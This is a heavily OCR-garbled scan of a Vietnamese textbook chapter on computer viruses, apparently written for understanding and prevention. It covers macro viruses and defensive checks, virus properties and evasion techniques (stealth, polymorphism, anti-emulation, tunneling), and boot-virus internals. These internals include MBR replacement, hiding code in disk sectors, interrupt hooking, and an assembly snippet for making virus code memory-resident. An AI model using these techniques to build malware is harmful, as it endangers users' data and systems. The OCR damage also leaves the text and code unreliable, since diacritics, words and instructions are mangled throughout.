giai thuat hinh thanh mot luc huong virus “hau Concept”
dong duc vi hung han.

Moi nguy hiem ca loai virus nay that khong ludng:
ching loi dung nhu cdu trao déi dit fiéu (dudi dang van
ban, hgp ddng, bién ban, chimg tir..) trong thoi dai bung
n6 thong tin dé thue hién hanh vi phd hoai. C6 truding
hop mét van ban théng bdo ca Cong ty X duge gai lén
mang lai chia macro virus, D chi 1a sy vo tinh nhung
cling gay nhi¢u phién ha, ching 16 tinh phé bién va nguy
hai cua loai virus “hau sinh kha uy" niy. Cédc hacker biét
rang khi nhan mot van ban, dé cong vitce tién hanh nhanh
chong, nhan vién mdy tinh thudng md ra va thao tic
ngay, day chinh la thai di€m macro virus ra tay: hién thi
cac dong van ban la, thay doi Tool bar, hop thoai cita
WinWWord, khéng cho lwu tap tin... Khong dimg lai &
muc “"dia cho vui”, mot s6 macro virus con thue hién cic
I¢nh xod file sau mot s& 1dn kich hoat, tham ch{ xod hén
dia cing. ..

Dac biet, mot bi¢a thé cilta macro virus ¢d hinh thie
phd hoai bang "bom thu tin hoc" vira duge phét hién
trong thoi gran gan day. Tén "khang bo" gini dén dia chi
‘nan nhan” mot bic thu dudi dang tap 1in.DOC. Ngudi
nhan s& goi WinWord d¢ xem, thé 1i toan bo dia cimg sé
bi wéu di¢t trong nhdy mit. Hau qua sau dé da rd, moi
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cong trinh trén dia cténg cua nha nghiém ciu déu tan
thanh may khdi, hoic véi nhin vién mady tinh thl quyct
dinh thoi viée coi nhy cdm chic trong tay..

Tuy viing sir dung macro cia Microsoft Word dé thuc
hién hianh vi xdu nhitng hinh thide phd hoai cia loai nay
khdc vai virus. Virus chi pha heai dit liéu cua mdy tinh
mot cdch ngau nhién, tai nhing dia chi khong xdc dinh.
"Bom thu tin hoc™ nham vao nhimg dia chi ¢u thé, nhing
co O dir lieu ma ching biét chiac la <6 gid. Ciing khong
loai trir kha nang ching mai danh mot ngudi nao do dé
thuc hién am muu védi dung ¥ "mét mii tén tring hai
muc tiéu”. Chung ta phaii tang cudng canh giac.

Dé phong chéng loai virus macro niy, khi sir dung
mot tap tin .DOC, .XLS ban phai chac chic rang ching
khong chita bat k¥ mot macro la ndo (ngoai cac macro do
chinh ban tao ra). Ngoai trit hinh thiic pha hoai kiéu
"hom thu", macro virus thudng dém s6 lan kich hoat méi
thue hién phd hoai {(dé ching c¢é thdi gian lay). Vi vay
khi m¢ tap tin. ban hdy chon menu Tool/Macro (clia
WinWord) dé xem trong van ban ¢6 macro la hay khong
(ké ci cac macro khong ¢6 tén). Néu ¢d, dimg ngan ngai
x04 chiing ngay. Sau dé thodt khoi WinWword, xo4a luén
tap tin NORMAL.DOT. Mét s6 Macro virus cé kha nang
mi hod progvi, che dau menu Tool/Macro ciia WinWord,
hoac khong cho xod macro..., d6 13 nhitng ddu hiéu chic
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chin dé tin rang cdc macro virus dang rinh rap xod dir
licu cua ban. Hiy co lap ngay tap tin nay vi giri ching
dén dia chi lién lac ctta cdc Antivirus ma ban tin tuéng.

Virus mdy tinh la san pham do con ngudi tao ra, vi
vay khé c6 thé ligt ké hét ca nhitng hanh virus va hinh
thic phd hoai cia chiing cling nhu khang thé du dodn vé
két cuc cua "cude chién” nay. Khéng ai qui dit ligu cia
ban hon chinh ban. Hay tr bdo vé minh trude khi Gim
duge "thude” chan ditng su tdn cong clia virus mdy tinh,
ban s€ thay ty tin va thoai méi hon trong cong viéc.



CHUONG I
TINH CHAT VA CONG NGHE
SU DUNG TAO VIRUS

Virus 1a nhing chuong trinh mdy tinh duge thiét k&
v&i muc dich diic biét, 1r cach cai dat dén hoat dong déu
¢6 che didu khéng cho ngudi st dung bi€t véi muc dich
duy nhat 1a phd hoai, vi viay ching c¢é nhitng tinh chat
dac biée. Nhitng san pham cla cdc chuyén gia tin hoc ¢
muc dich xfu ndy rat da dang va cho dén nay, nguoi ta
ciing chua thé phat hién ra hét nhing hau qua ma né dé
lai cho cdc hé théng mdy tinh, nhung tam thoi, cé the
théng ké mot sa tinh chat ¢co ban cling nhu cong nghé 4p
dung d¢ san sinh ra virus. Dé viéc phong ngira ¢é hi¢u
qua. ching 16i cho ring khong nén "khodn trang” viéc
phong diét cho c¢dc chuyén gia tin hoe, boi [€ thit nhat:
Khong phai lde nao ban cling ¢6 thé tim duoc cic chuyén
gia ¢6 du kha nang dé giai quyét van dé; thi hai: Gid
thué cic chuyén gia ¢ thé s& rit dat; thi ba: Da phai
thué t&i cdc chuyén gia cling dong nghia véi hé thong
clia ban da bi phd hoai nghiém trong, viéc khic phue cd
thé thianh cong hoac thal bai. Khong mot chuyén gia
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thuong thang nio dam khéng dinh luén ché ngu va giai
quyet dugc tat cd cic hau qua do virus gay ra. Nghién
cliu squ vao tinh chat, cong nghé clia virus ¢6 thé la mot
cong viee hét stic buon t¢ va khd doi véi nhiéu nguoi,
nhung ching t6i cho rang hiéu bict mot cich cin ban vé
né d¢ phong trir 1a nhimg diéu nén lam d6i véi hiu hét
moi ngudi sir dung mdy tinh.

1. Tinh chat cua virus

1.1 Tinh Iay lan.

Day 1a tinh chat can ban, xac dinh mot chuong trinh
c6 phdi la virus hay khong. Nhur ching ta da biét, virus la
nhirng chuong trinh mdy tinh dugc cai dat va chay ngoai
sit kiém sodt cua ngudi sir dung. Vay lam cach nao dé
dua virus vao mdy tinh cla cdc nan nhan? Hién nhién,
ching ai di copy virus vé dé ding ca. N6 chi ¢6 mot cdch
thitc duy nhat, mo phong va giong nhu virus sinh hoc dé
1a lay lan 1én cdc "co thé mdy tinh"” clia cic nan nhan ma
théi. Cdc virus déu duge thiét ke theo hudng phat erién dé
¢6 kha néng iy lan mach nhét. D6 ciing la mot yéu 16
dan dén sv ra doi cdc virus trén mang.

1..2 Tinh chat pha hoai.

Day Ia tinh chat nguy hiém nhit cta virus, 1a thudc
tinh ¢6 tr muc dich san sinh ra virus tir ohimg cai dau
khong lanh manh, mac du khong phai tat ci cic loai

virus déu ¢6 tinh chat phd hoai. Mot s6 it virus duoc thit

32



k€ v6i muc dich pha hoat, bao gém ph4 hoai ai liéu va
pha hoai mdy tinh, ]am dnh huong dén mang mdy tinh. .
Mot s6 virus khong duogc thiét ke dé phéa hoai, nhing do
16i logic lap trinh, doi khi gay ra nhimg hiéu tng nguy
hiém khong kém ma chinh ngudi san sinh ra né ciing
khong hé nghi t6i, dac biét 1a khi nhiéu virus cling t6n tai
trén mdt mdy tinh. Khi ¢6 nhiéu hon hai loai virus ciing
ton tai rén mdy tinh va cing ph4 hoai file dit licu, ban
hdy tudng tuong hau qué cta né sé khon ludng dén midc
nao? Moi chuong trinh nhan dang virus ¢6 thé s& méc
biy khi hau qua phé hoai clia con virus d4u tién da bi con
virus thit hai ti€p tuc phd hoai va lJam mat hét ddu vét,
lam cho chwong trinh nhan dang khong xdc dinh duoc
ching thu¢e loai virus nao, mac dau ca hai da duge cap
nhat.

1.3 Tinh nhé gon.

D€ ¢6 thé lay nhiém ma khé bj phét hién, cdc virus
phiin 16n déu ¢6 tinh nhd gon. Tinh nhd gon ciing 1a cii
céch dé ¢6 thé lay lan nhanh tir may ndy sang may khdc.
Hau heét céc virus déu cé kich thude rat nhd so véi mot
chuong trinh binh thudng: Trong khoang 4KB tr& xudng
(ngoal trir céc virus duge viét bing cdc ngdn ngir bac
cao). Cung vaGi tinh chat 1ay nhiém, tinh chat nay di tao
nén tén go1: VIRUS,

1.4 Tinh tuong thich.
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La nhimg chuong trinh mdy tinh, virus cling ¢6 tinh
tuong thich shu nhing chuong trinh khdc. Mot virus
duge thi€t k¢ trén mot hé thong/méi trudng thudng
khong thé lay nhiém trén mot hé théng/moi trudng khdc.
Chang han mot con sau Internet khong thé lay nhiém qua
céc mdy chi sir dung don thuin moi trudmg DOS, vi
khong thé dm dau ra ban ding ky (Registry) ciia
Windows. Dé khic phuc diém y&u ndy, ngdy nay cic
virus ¢6 xu huéng phat trién theo huéng Iai, mot virus
gém nhiéu phan khac nhau, ¢é tic dung lay nhiém trén
cdc moi trudng khdc nhau,

L5 Tinh phat trién ké thira.

Céc virus ra doi sau thudng c6 xu hudéng ké thira
nhifng ¥ tudng/cong nghe da duge céc virus trude dé phat
trién theo cdch ndy hay cich khdc, giit nguyén hodc da
cdi tién, sira doi. Mot trudng hop 1a cdc virus duge phit
trién ddn thanh timg “ho virus” nhu ho virus Date, ho
virus CIH, ho virus Tiny...

2. Cac cong nghé cia virus.

Mot virus thudng sit dung nhiéu cong nghé khac
nhau, v&i muc dich chinh Ia tang cudng kha nang lay
nhiém, 6t vu hod trong viéc che d&u sy ton tai clia virus
trén moi trudng lam viée cling nhur trén d6i tuong chu, va
nhit 1a kha ning chéng d& cic chuong trinh tim diet ot
nhat.
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2.1 Cong nghé lay nhiém (Infect).

La cong nghé co ban cta mdt virus, dim bao cho su
ton tai, lay lan va tén goi cia mot chuong trinh duge goi
la virus. Nhitng virus cang 14y nhiém nhanh thi cang c6
kha nang lay lan rong rii, va thong thudng mitc do nguy
hiém ciing cang 16n.

2.2 Cong nghé kiém tra sy ton tai (Check if
exist).

Virus phai lay nhiém lén d6i.tuong chil, va ¢ thé
ki€m sodt hoat dong clia moi trudng dé dé dang lay
nhiém ra cdc déi tugng khdc. Tuy phién méi virus chi
duoc lay nhiém/kiém soat mot lan, dé dam bao khéng
fam anh hudng dén t6e do lam viéc clla may tinh. Vi vay
trude khi lay nhiém/kiém sodt virus phai kiém tra su t6n
tai cla chinh minh trén déi twong chiyméi trudng. Chinh
vl ly do nay ma mdt s6 chuong trinh phong chéng virus
dd khat thdc, gia 1ap cdc mdy tinh chua bi nhiém giéng
nhu da bi nhiém, nhim "che m&" virus nhim lam cho
chiing tudng rang déi twong dich ma ching dang cé ¥
dinh lay lan da bi nhiém réi va khong thue hién céc thao
tac lay nhiém lén 46 nita
2.3 Cong nghé dinh vi.

La coug nghe dé xac dinh vi vi trf clia virus trén viing
nhd, day la mot trong nhitng cong nghé co ban nhumg rét
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quan trong cua mot virus ¢6 dang ma mdy, cho phép tién
hanh viéc truy xuit dir licu.

2.4 Cong nghe “thuong tri” (Residency).

Thuong trd ¢6 nghia 1a bat mdy lén ciling déng thoi
voi vide khai dong mot chuong trinh virus. Chuong trinh
nay chi ding khi ban tit mdy ma 1héi. Cong nghé thudng
trd chi cong nghé virus sir dung dé kiém soat hoat déng
cua h¢ thong. tién hanh céc tac vu lay phiém, nguy trang,
phd hoal ciing nhu cic tdc vu khdc. Day [a mot cong
nghé khd phic tap v cao cap, phu thudc vao méi méi
lrudng ma virus hoat dong.

2.5 Cong nghé pha hoai, do tham (Payload).

Khong phai 1a cong nghé bit budc phai c6 cla meét
virus. Tuy nhién do tinh chat cha chuong trinh virus vén
d& mang tinh ph4 hoai, mat khdc mot s& virus duge thiét
k¢ dac biét cho muc dich pha hoai, do tham, vi vay hdu
hét cde virus déu c6 phan ma lam nhiém vu nay.

Ching 6 th¢ chi 1a nhing thong diép v6 hai hay
nhiing hi¢u (ing dé hoa dep mit shu phio hoa, ngon lita
chdy... nhumg ciing ¢6 thé 1a nhiig doan ma ph4 hoai dir
liéu/mdy tinh rdt nguy hiém, hay nhimg hoat déng do
tham, an cap thong tin...

Virus 1a mét chirong trinh may tinh, vi vay né ¢6 thé
sit dung hdu hét cdc tdc vu ma mot chirong trinh binh
thuong duge quyén ti€n hanh, nhiéu virus duge thiét k&
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dé ¢6 thé thi himh & mic he thong nén con 6 the thue
hién nhitng tic vu dic bict. Do do cde cona nghé pha
hoai cha virus rat da dang. trong d¢ nhitng cong nghé pha
hoai nguy hi¢m nhu lam hong dir lieu tuw el trén mdy
tinh , tham chi ¢4 may tinh. Lam anh hudng dén hicu
sudt 1am vige trén may tinh ciing nhu trén mang. Mot s6
virus con duoe thiét ke dé tién hanh ddnh cdp théng tin,
ti€n hanh do tham trén h¢ thong mang mdy tinh.

2.6 Cong nghé tao do giap (Armouring),

La cong nghé chéng g réi/dich nguge mi lénh virus.
céng nghé nay chu yéu nham chéng lai phin mém
antivirus,

2.7 Cong nghé nguy trang (Stealth).

LA cong nghé nham gidu giém, nguy trang su ton tai
cla virus trén doi tugng chii vi méi trudng lay nhiém.
Ngudi diing s rdt khé phat hién su 16n tai cla virus va
tin tuong rang mdy tinh cliia minh khong bi virus, cong
ngh¢ ndy doi khi nguy trang duge ca v&i mot s6 phan
mém antivirus,

2.8 Cong nghé ma hoa (Encryption).
La cong nghé md hod phin chuong trinh chinh cia

virus, day 12 mot cong nghé cii, nhung hién nay van duge
sur dung, c6 thém mot s6 cai tién, stra déi. Cong nghé nay



cling nham che ddu sur ton tai cGa virus trén déi trong
chu. '

2.9 Cong nghé da hinh (Polymorphism).

La cong nghé ¢ muc dich chong lai phuong phap do
tim doan md ma cdc chuong trinh antivirus thudng su
dung. Cong nghé nay dua trén v tong moi mau virus
duoc mid hod vél nhitng khod mi/giai mid khidc biét
va/hodc mi 1énh todn hoc/flogic va bd gidi ma ¢6 ma lénh
khac biét so vdi nhimg mau trude dé.

2.10 Cong nghé bién hinh (Metamorphism).

La cong nghé doc ddo, hoan hao dé chéng lai cic
antivirus. Cong nghé da hinh chi tao ra cac bg giai ma
khdc bi¢t, con cong nghé bién hinh sinh ra ca doan ma
md&i hoan toan. R rang day 13 mot cong nghé khé, ¢a vé
thuét toan ciing nhu chwong trinh hod. Va cac antivirus
s& rat khé khan dé€ nhan dang/diét nhilng virus biét su
dung cong nghé nay.

211 Cong nghé chéng mo phong (Anti-
Emulation).

Emulation 1d mot cong nghé ma céc chuong trinh
antivirus sir dung dé mo phdng ma lénh clia chuong trinh
nghi ngd, kiém tra phdt hién nhitng virus chua biét. Anti-
Emulation 12 cong nghé gitdp cdc virus ¢6 thé nguy trang
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d¢ vuot qua su kidm tra, hay 1am cho hé mé phong Khong
thé tién hanh phan tich virus.

2.12 Cong nghé chong theo doi (Anti-Heuristic).

Mot 56 chuong trinh antivirus hién dai stt dung mot
phuong phdp goi la heuristic, phit hién virus dua trén
phén tich hanh vi clia céc chuong trinh. Va anti-heuristic
la cong nghé nham chong sy phdt hién cta cdc chuong
trinh antivirus do.

2.13 Cong nghé Tunneling.

Mot s6 chuong trinh antivirus sir dung cdc chuong
trinh Ki€ém sodt hé thong, phat hién cdc hoat dong dac
biet, nghi ngd 1a virus d€ canh béo. ngan chin. Tunneling
la cong nghé nham gianh duge quyén kiém sodt cao nhit
dot véi mél trudng, trdnh duge su kiém sodt cla céc
chwong trinh antivirus.,

2.14 Cong nghé Anti-Tunnel.

D¢ tién hanh kiém sodt hoat dong hé thong, antivirus
cling sir dung cong ngh¢ tunneling dé c¢6 duge quyén
ki€m soat cao nhat. Anti-Tunnel 13 cong nghe ma céc
virus sir dung dé ngan chan cdc antivirus (va ci nhimg
virus khdc) ti€n hanh cong nghé do.

2.15 Cong nghé Anti-Bait.

Bait 1a mot thuat ngt chi cde chuwong trinh ding dé

bay cic virus, cdc chuong trinh nay khong lam bat it
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viéc gi, chi 1a nhimg d6i twong biy, nhim phat hién su
lay lan cia virus. Cong nghé Anti-Bait x4c dinh nhimg
doi tuong biy. tranh bi phdt hién s6m bdi cac chuong
trinh antivirus.

2.16 Cong nghé téi wu.

Bao gom cdc cong nghe viét mi va thiét k€ nhim muc
dich 61 uu chuong trinh virus vé mat téc do, kich thuée,
khé néng phd hoai, khi nang chéng d& céc chuong trinh
tim di¢t... Cédc cong nghe nay duge sir dung rat nhiéu, thé
hién khé ning, tinh chuyén nghiép clia nhing ngudi viét
virus,

3. Phan tich cic cong nghé ciia virus
3.1. Virus Boot.

La loai virus lay nhiém MasterBoot/BootRecord clia
dia ciing/dia mém. Loai virus nay chiém quyén diéu
khién ngay khi mdy tinh duge khéi dong, trude khi mot
he diéu hanh nao d6 dwgc nap. Do kha ning dé, virus
Boot khéng nhit thiét phu thudc vao hé diéu hanh va cé
kha nang lay lan rat manh.

3.1.1 Déi tugng ldy nhiém va méi triomg hoat déng.

MasterBoot (MB) 1a sector ddu tién cla dia cing
(sector 1, head 0, cylinder 0). MB chita mot bang tham
s6 goi la bang phan ving - Partition Table (tai offset
OIBEh), xdc dinh cdc thong s6 vé céc phan viing: diém
bat ddu, két thic he théng file... va xdic dinh phan viing
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hoat dong - Active Partition. MB ciing chita mét doan
chuong trinh (bat ddu tr offset 0) c6 tdc dung kiém tra
cdc phan ving, tim kiém phéan viing hoat dong. Néu thiy
mot phan ving hoat dong, MB chuyén chinh doan ma
MB ién mot ving nhé khiac, sau dé tién hanh doc
BootRecord cba phan viing dé 1én dia chi 0000:07C00h
sau dé trao quyén diéu khién cho doan ma vira doc vao.
BootRecord (BR) la sector diu tién ciia dia mém hay
cta mot phan ving trén dia cimg. BR chia cic thong s6
vé dia mém/dia cing logic va mot doan chuong trinh ¢
nhiém vu tai cac file hat nhan cha hé diéu hanh vao
RAM, sau dé trao quyén diéu khién cho hé diéu hanh.

Mbi khi mdy tinh duge khai dong, mot doan chuong
trinh trong ROM s€ duoc thue hién. Doan chuong trinh
nay tién hanh qud trinh POST (Power On Seft Test - tu
kiém tra khi khéi dong). Qua trinh nay sé lan luot kiém
tra cdc thanh ghi, kiém tra bo nhd, khdi tao cac chip diéu
khién DMA, b6 diéu khién ngat, dia... Néu qua trinh nay
hoan thanh (6t dep, cong viéc ti€p theo 1a do tim cédc
chuong trinh khéi tao cla céc card thiét bi gan thém va
trao quyén diéu khién dé€ ching tu khdi tao. Sau do, doan
chuong trinh trong ROM s€ tién hanh doc MasterBoot
trén dia cing hoic BootRecord trén dia mém (néu ton tai
dia cing/dia mém trén mdy 1inh) vio RAM tai mdt dia
chi ¢& dinh: 0000:07C00h. Thy tr kiém tra dia cing va
dia mém phu thudc vao thiét 1ap ma ngudi sit dung da dat
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trong CMOS. Néu viéc doc thanh cong, ngét 18h s& dugc

goi. Neu doc thanh cong, quyén diéu khién sé dugc trao

cho doan mi da doc bing mét Ienh nhdy xa: JMP _
FAR 0000:07C00.

Nhu vay n€u doan chuong trinh trén MB/BR bi thay
the bang mot doan chuong trinh khic (¢6 thé 1a mot
virus), chuong trinh dé s& ¢ quyén didu khién méi khi
may tinh dugce khoi dong.

3.1.2 Phan tich cac cong nghé cia virus Boot.

a. Cong ngh¢ lay nhiém:

Bé1 v6i dia mém, viée lay nhiém don gian [a thay thé
BR véi mét doan chuong trinh virus.

Dér véi dia cing, vi MB va BR trén phan vung hoat
dong deu duoc trao quyén khéi dong, nén c6 thé thay the
MB hodc BR trén phan viing hoat dong véi doan chuong
trinh virus. Néu chon MB s& virus ludn duoc nap va kich
hoat, khong phu thuge vao viéc sau d6 heé diéu hanh nio
s€ dugc nap. Tuy nhién néu chon BR, phai tim kiém BR
trén phan vung hoat déng dé dam bdo virus duge kich
hoat. Thuc t€, hau cic virus Boot déu chon lay nhiém MB
thay vi lay nhiém BR.

Kich thudc chia MB/BR chi g6m 1 sector 512 byte,
khéng du tdn doi véi mét s6 virus, nén cdn tim mét vi tri
trén dia d¢ luu phan ma vuot troi. MB/BR cii chidfa céc
thong tin quan trong vé bang phéan ving/béng tham s&
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dia va doan chuong trinh cia MB/BR ciing cén phai hru
gilt. Not fuu gilt phan ma vuot troi va MB/BR cil phai
duge dam bao khong bi sir dung vao muc dich khic
(khong bi ghi d&). Virus cé thé sit dung mot s6 viung dia
sau vao muc dich do:

- Déi véi dia mém:

+ C6 thé diing nhilng vung dia it khi duoc sit dung
nhur sector cuéi cha thu muyc gdc, nhilng sector cudi trén.
dia.

+ Ding mdt s& sector con trong, sau dé ddanh dau cic
sector nay di bi hdng dé hé diéu hanh khéng sir dung
nia.

+ Mot phurong phap khdc 1a dinh dang thém track maéi
cho dia mém,.sau d6 sir dung nhing sector trén track
nay.

- D61 véi dia eting:

+ Trén track O thudng chi chita MB trén sector 1, do
dé ¢6 rat nhidu sector khong dung dén cé thé sir dung
vao muc dich nay.

+ C6 thé sit dung hai phuong phédp dau di ap dung véi
dia mém.

Nhu vay khi duoc trao quyén diéu khién, virus Boot
s€ tién hanh cdc tdc vu lay nhiém, cai dat... sau d6 doc
MB/BR cii vao RAM va tra quyén diéu khién cho doan
md trong MB/BR tién hanh nhu binh thudng.
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Do céc dia ciing la cé dinh trong sudt phién lam viéc
cua mdy tinh, han hél cdc virus Boot déu tién hanh lay
nhiém lén dia cing (néu tim thay) ngay khi khdi dong.

Deé lay nhiém Ién dia mém, cdc virus Boot thutng tién
hanh phén phéi ving nhé riéng dé thudmg trd, chiém mot
s0 ngat dé phuc vu cho viée lay lan (thudng ta ngat
013h). Méi khi phat hién thdy BR trén dia mém chua b
tay nhiém, virus s¢ tien hanh lay nhiém Ién dia mém do.

b. Cong nghé dinh vi.

MB/BR luon duge BIOS nap vio RAM tai dia chi
0000:07C000h va chuyén quyén diéu khién véi mot lenh
nhay xa:

JMP  FAR 0000:07C00

Do d6 khi virus Boot nhan duge quyén diéu khién,
thanh ghi CS=0, cic tham chiéu déu phai tinh theo offset
07C000h. B¢ don gidn hod cdc tham chiéu, ¢d thé sir
dung hai phuong phép sau dé c6 thé sr dung mot oflset
quen thuoe hon (0 hodc 0100h - twong g véi cdc file
thi hanh dang .BIN, .COM):

- Phan phdi mot viing nhd dé thuong tra, chuyén toin
bo chuong trinh virus 6 vung nhé ndy, sau dé chuyén
quyén diéu khién cho doan ma tai viing nhd méi véi dia
chi segment:offset moi.

44



-~ Str dung mot Iénh nhay JMP FAR 07COh:0xxxx
chuyen quyén diéu khién dén mot 1énh tai chinh ving
nhd 0000:07C00h, rhung véi segment:offset khic.

¢. Cong nghé thudng tri.

D¢ 1ién hanh thuong trd. kiém sodt mot s¢ hoat dong
cua hé théng, virus cén tién hanh cdc budc sau:

- Phan phéi mét ving nhé rieng d¢ hm git chuong
trinh virus bao gém ma lénh. cdc bi¢n va viing dém cdn
thict,

- Chan mdt & ngat phuc vu cho hoat déng ctia virus
nhu fay nhiém, pha hoai. ..

C6 ¢dc cong nghé phan phét viing nhé sau:

+ Phén phoi mét viing nhd cao (chi ving nhé cudi
cung cia bd nhd co ban):

Sau khi thye hién xong qua trinh POST, kich thudc
cla bo nhd co ban tinh theo KB $& duoc ghi vio maot
vung dif liéu cua BIOS ¢ dia chi 0:0413h (1 word). Khi
mot hé diéu hanh nhan duge quyén diéu khién, né duoc
quy¢n kiém sodt ving nhd tir ¢6 kich thudc dé, bit dau tir
0000:0000. Nhu vay dé phan phoi mot viing nhd riéng
khong bi hé di¢u hanh sir dung, chi cin giam gid tri ghi
tal dia chi nay, va sir dung nhitng KB cusi cling cha bo
nhd ¢o ban. Moi virus Boot thuding chiém | - 4KB, sau
day la doan ma minh hoa:

XOrax,ax
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mov ds,ax

mov di,ax

dec word ptr [413h] : Giam 1 KB
int 12h  ; Lay kich thuéc bo nhé

mov cl,6

shlax,cl : Tinh todn dia chi doan clia vung nhé

mov es,ax

push s

pop ds

mov si,offset vstart ; Diém bat ddu chuong
trinh virus '

mov CX,vsize ; Kich thudc cua phdn ma
thudng trd

repmovsb ;

+ Phéan phéi mét viing nhé thap:

Céc virus Boot thudng trii viing nhd cao dé bi phat
hién, do lam giam kich thudc boé nhé ma hé diéu hanh
dugc sir dung. D¢ khic phuc diéu d6, c6 thé dp dung mot
cong nghé khac: phan phéi mét vung nhé thidp khi hé
diéu hanh d3 dugc tai vio.

Ngoai ra, virus cling ¢6 thé tr dinh vi mét viing nhd,
thay vi t phan ph&i mét viing nho:

+ Sir dung phan cdn tréng clia bang vector ngit:

C6 réat nhiéu ngit chua dugce sir dung béi BIOS va hé
dicu hanh véi muc dich dy trir va danh riéng cho cic
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chuong trinh éng dung. Virus cé thé chon viing con tréng
trong bdng vector ngat dé luu gilt chuong trinh virus.
Thong thudng ving bang vector ngat tir AAAA dén
BBBB ¢¢ thé diing dugc ma van an toan.

+ Sit dung cde 10 héng trong bo nhé:

Phuong phdp nay tim mdt vang khong sit dung trong
ving dir liéu BIOS, bat dau tir dia chi 0040h:0000 dé luu
gilt chuong trinh virus. Mot dia chi khic ¢6 thé sir dung
1a 256 byte bat dau tir dia chi  0060h:0000, thudng chi
duge diing trong qua trinh khdi dong.

Sau khi phan phéi duoc modt ving nhd, cin phai
chuyén toan bo chuong trink viras lén vung nhé dé, sau
do chan mot 6 ngat phuc vu cho viée lay nhiém. C6 cic
cong nghé chan ngit sau day:

+ Thay thé cdc vector ngat tric 1i€p trong bang vector
ngat:

Bang vector ngit chita dia chi ctia 256 ngat (tir ngdt
00 dén ngat OFFh) dugc dat bit ddu tai dia chi
0000:0000. Méi vector ngdt gém 2 word chita dia chi
segment:offset cla thi tuc xr Iy ngéit. Cdc vector ngit
duge dat }ién nhau cho dén dia chi 0000:03FCh. Virus
thay th€ cic vector ngit cén thiét trong bang bing cic
vector mdi, chi dén thi tuc xir 1y ngat mdi cla virus.
Vector ngat ¢l ciing duge luu lai dé sit dung khi can
dung cdc dich vu cla thil tue xit Iy ngat ci.
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Dé str dung cac dich vu ma thi tuc xir Iy ngat cii cung
cap, ¢ thé diing cic phuong phap sau:

* Tao 1énh ngit gia:

Dé slr dung mat dich vu ngit, cdn chuan bi néi dung
cdc thanh ghi cén thiél, sau d6 sir dung mot lénh goi ngat
¢ cu phdp INT Oxx, trong dé Oxx la s6 hiéu cua
ngat can thi hanh. Lénh nay ¢é thé coi nhu twong duong
vét hat 1énh:

PUSHF
CALLL XXXXIYYYY

Trong d6 xxxx:yyyy 1a dia chi cla thl tuc XU 1y ngit
twong ng. Nhu viy don gian chi can thay cac 1énh INT
Oxx véi hai lénh lién ti€p trén, trong dé xxxx:yyyy dugc
thay boi cdc vector ngit ci tuong tng.

* Dt co hiéu kiém tra:

Hai lénh trén ¢6 kich thudc 6 byte, 16n gdp 3 l4n lénh
goi ngat INT Oxx. Dé gidm bét kich thude virus, va dé
thuan tién hon, ¢d thé tao mot c& hidu dé xdc dinh yéu
cau ngat xuat phit tir cdc chuong trinh khic hay tir virus,
dé ti€n hanh cic téc vu can thiét hay tra quyén diéu khién
td1 vector ngat ¢l bang mot 1énh nhay xa JMP - FAR

XXXXIYYYY.

* Thay thém cdc ngat khong duoc st dung. chi dén

céc thi tuc xr 1y cdc ngat can chin:
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bay Ia mot phuong phdp khdc inh hoat hon: thay the
cdc vector ngal can chian duge luu ngay trong moét so
vector ngat mi h¢ diéu hanh chua st dung, chang han
vector ngat 013h cil dugc luu tai vi ti vector ngat OFFh.
Khi can sir dung cdc dich vy ma ngdt 013h hé tro, chi
can goi thue hién ngit OFFh.

+ Néu phdt hién thi tue x{r 1y ngat nam trong RAM,
¢ thé ap dung mot cong nghé khic: thay the mét 56 [énh
dau tién & daw tha tye xir Iy ngédt bing mot lénh nhay xa
JMP FAR XXXXyyyy, trong dé xxxx:yyvy la
dia chi segment:offset cha th tuc xit 1y ngdt mdi coa
virus. Nhitng mi lénh bi thay the' ducc Tuu lai dé sir dung
khi can ding cac dich vu ctia thl tuc xir 1y ngat cii.

Dé sir dung cdc dich vu ma thi we xir 1§ ngét cil cung
cap, can tién hanh nhu sau: phuc héi lai nhitng ma lénh
da bi thay thé. san a6 (i€n hanh léenh goi ngit nhu binh
thuong. Sau khi sir dung xong dich vu ngat, tiép tuc thay
the I¢nh nhay xa vao ddu tha tuc xir Iy ngit ci.

d. Cong nghé kiém ra su ton tai.

- Kiém tra wén bo nhd:

Ki¢m tra xem virus da thuong trd hay chua. Kiém tra
trén bd nhé chi tién hanh mot lan khi may tinh khoi
dong, trudc khi tién hanh thudng i, do dé t6e 46 khong
phai la yéu cdu chinh, quan trong hon 1& d6 chinh xdc va
tinh don gidn. C6 thé sir dung cac phuong phip sau:

49



+ DO tim doan ma nhin dang trén bd nhd.

Virus ti€n hanh do tim doan mi nhan dang trén ving
nhé dé kiém tra su ton tai trén bod nhd.

+ Tao thém ham/ngat dich vu dé kiém tra.

Virus tao thém ham/ngat dich vu méi, tra lai nhimg
g1a 1 dac biét trong cdc thanh ghi, xdc nhan su thuong
trid ¢cha virus trong bod nhd.

Phuong phap thu nhit phitc tap, cham nén it dugc
dung, phuong phdp thit hai don gian va ¢é do chinh xdc
cao nén thuong duoce su dung hon.

- Kiém tra trén dia:

Kiém tra mét dia da bi lay nhiém hay chua. Viéc
kiém tra (rén dia phai tién hanh nhiéu 1dn, do dé vira phai
dam bao it anh huong & toc d6 1am viéc clia may tinh,
vira phai dam bao do chinh xéc.

Dia cing c6 16¢ do doc nhanh, hon nita chi can kiém
tra mot Jan khi mdy tinh duge khdi dong tir dia mém, do
dé khong anh hudng nhi€u dén t6c do. P6i véi dia mém,
toe do doc cham, lai phai kiém tra thudng xuyén, do dé
cin giam s6 lan kiém tra xudng t3i thiéu. C6 thé han ché
3 14n kiém tra dia mém dura trén hai nhan xét sau:

+ Mbéi khi s dung mot dia mém mdi, hé diéu hanh
can phai doc bang FAT cia dia méi. Trén dia mém, bang
FAT nam ngay sau BR, trén track 0, do dé chi cdn kiém
tra dia mém moi khi ¢6 yéu cdu doc track 0.
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+ D¢ thay dia mém mdi can phai c6 thoi gian. nhu viy
chi kiém tra néu yéu ciu trude do da thuc hién xong mot
khoang thoi gian nhat dinh.

D¢ dam bdo tinh chinh xdc, ¢d thé sir dung phuong
phdp dé doan mi nhan dang. Doan ma nay ¢o thé chi
26m mot hai byte, ciing ¢6 thé 1a ca mot doan mi dic
trung. Ciing ¢d the sir dung cdc phuong phip khiac nhu
Checksum, CRC... tuy nhién hau hét cic virus chi st
dung phuong phap do doan mi do tinh don gran.

¢. Cong nghé tao do gidp.

- Chéng dich nguroc:

Cong nght nay chi yéu dua trén cong nghé mi hod,
k¢t hop véi kha nang dinh vi tuong doi cla cic lénh JMP,
CALL. Chuong trinh dich nguoce ¢ rat khé khan khi dich
cic virus duge ma hod, hay dich cdc virus sir dung cic
